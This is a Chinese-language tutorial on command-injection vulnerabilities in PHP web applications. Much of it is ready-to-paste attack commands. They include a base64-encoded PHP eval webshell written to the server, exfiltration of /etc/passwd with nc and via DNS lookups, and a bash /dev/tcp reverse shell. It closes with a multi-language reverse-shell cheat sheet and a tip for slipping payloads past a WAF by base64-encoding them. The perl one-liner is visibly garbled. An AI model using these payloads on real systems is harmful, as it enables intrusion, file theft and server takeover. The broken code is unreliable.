命令执行漏洞

  • 命令执行漏洞原理
  • 危害
  • 检测方法
  • 有回显检测方法
  • ; (分号) 从左到右执行
  • | (管道符) 将见面命令的输入为后面命令的标准输入
  • &(后台任务符号) 命令从左到右执行
  • &&(与) 逻辑与,前面命令执行成功后才会执行
  • ||(或) 逻辑或,前面执行失败才能执行
  • `(反引号)当命令解析时,首先执行反引号之间的操作
  • $(命令替换符)与反应号功能一样
  • 有回显常用判断方式
  • 无回显且有写入权限
  • 无回显利用dnslog平台检测
  • 无回显利用bp检测
  • 无回显利用netcat命令检测
  • 命令执行漏洞nc反弹shell


命令执行漏洞原理

应用程序中有时候需要调用一些执行系统命令的函数,在php中常见的为systemexecshell_execpassthruproc_poenpopen等函数用来执行系统命令。当黑客能控制这些函数的参数时,就可以讲恶意的系统命令拼接到正常的命令中,就会命令执行攻击,这就是命令执行漏洞。

危害

  1. 继承web服务器的权限执行系统命令
  2. 继承web服务器程序权限,读写文件
  3. 反弹shell
  4. 控制整个网站
  5. 控制整个服务器

检测方法

有回显检测方法

常用方法:

; (分号) 从左到右执行

网络安全相关命令 网络安全命令执行_web安全

| (管道符) 将见面命令的输入为后面命令的标准输入

网络安全相关命令 网络安全命令执行_bash_02

&(后台任务符号) 命令从左到右执行

网络安全相关命令 网络安全命令执行_bash_03

&&(与) 逻辑与,前面命令执行成功后才会执行

网络安全相关命令 网络安全命令执行_安全_04

||(或) 逻辑或,前面执行失败才能执行

网络安全相关命令 网络安全命令执行_网络安全相关命令_05

`(反引号)当命令解析时,首先执行反引号之间的操作

网络安全相关命令 网络安全命令执行_安全_06

$(命令替换符)与反应号功能一样

网络安全相关命令 网络安全命令执行_web安全_07

有回显常用判断方式

win 操作系统
type c:\windows\win.ini
linux 操作系统
cat /etc/passwd

无回显且有写入权限
  1. 传webshell到服务器中
|echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php  #base64解码后写入到shell.php文件中

网络安全相关命令 网络安全命令执行_安全_08


网络安全相关命令 网络安全命令执行_安全_09

  1. 查看是否可以访问
  2. 网络安全相关命令 网络安全命令执行_bash_10

  3. 使用webshell工具连接
  4. 网络安全相关命令 网络安全命令执行_bash_11


  5. 网络安全相关命令 网络安全命令执行_web安全_12

无回显利用dnslog平台检测

借助dnslog.cn查看访问

链接: http://dnslog.cn/

网络安全相关命令 网络安全命令执行_网络安全相关命令_13

  1. 访问dnslog平台生成的域名
`whoami`.7w1v2u.dnslog.cn
  1. 查看dnslog平台是否有访问信息
无回显利用bp检测

利用原理与dnslog是一样的

  1. 找到bp相关模块

网络安全相关命令 网络安全命令执行_web安全_14

  1. 复制dns地址
  2. 网络安全相关命令 网络安全命令执行_安全_15

  3. 访问此地址
|ping -c 4 m1odth5coly60euvoihemfn5kwqnec.burpcollaborator.net
  1. 刷新bp查看结果
无回显利用netcat命令检测
  1. 使用kali监听9999端口

网络安全相关命令 网络安全命令执行_安全_16

  1. 漏洞位置输入命令
|nc 192.168.0.107 9999 </etc/passwd
  1. 查看kali生成的文件信息

网络安全相关命令 网络安全命令执行_安全_17

命令执行漏洞nc反弹shell

  1. 使用kali监听
nc -vlnp 8080
  1. 漏洞位置执行命令
|/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.107/8080 0>&1'

网络安全相关命令 网络安全命令执行_网络安全相关命令_18


网络安全相关命令 网络安全命令执行_bash_19

常用的shell反弹命令:

bash shell 执行
 ||/bin/bash -c ‘bash -i >& /dev/tcp/192.168.0.124/8080 0>&1’
 perl -e ‘use
 Socket;p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(
 “tcp”));if(connect(S,sockaddr_in(i)))){open(STDIN,“>&S”);open(STD
 OUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh -i”);};’
 python -c ‘import
 socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co
 nnect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
 os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
 php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
 ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i
 <&%d >&%d 2>&%d”,f,f,f)’
 nc -e /bin/sh 10.0.0.1 1234
 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
 r = Runtime.getRuntime()
 p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line;
 do $line 2>&5 >&5; done”] as String[])
 p.waitFor()

tips: 如果遇到waf连接可以把语句进行base64加密后输入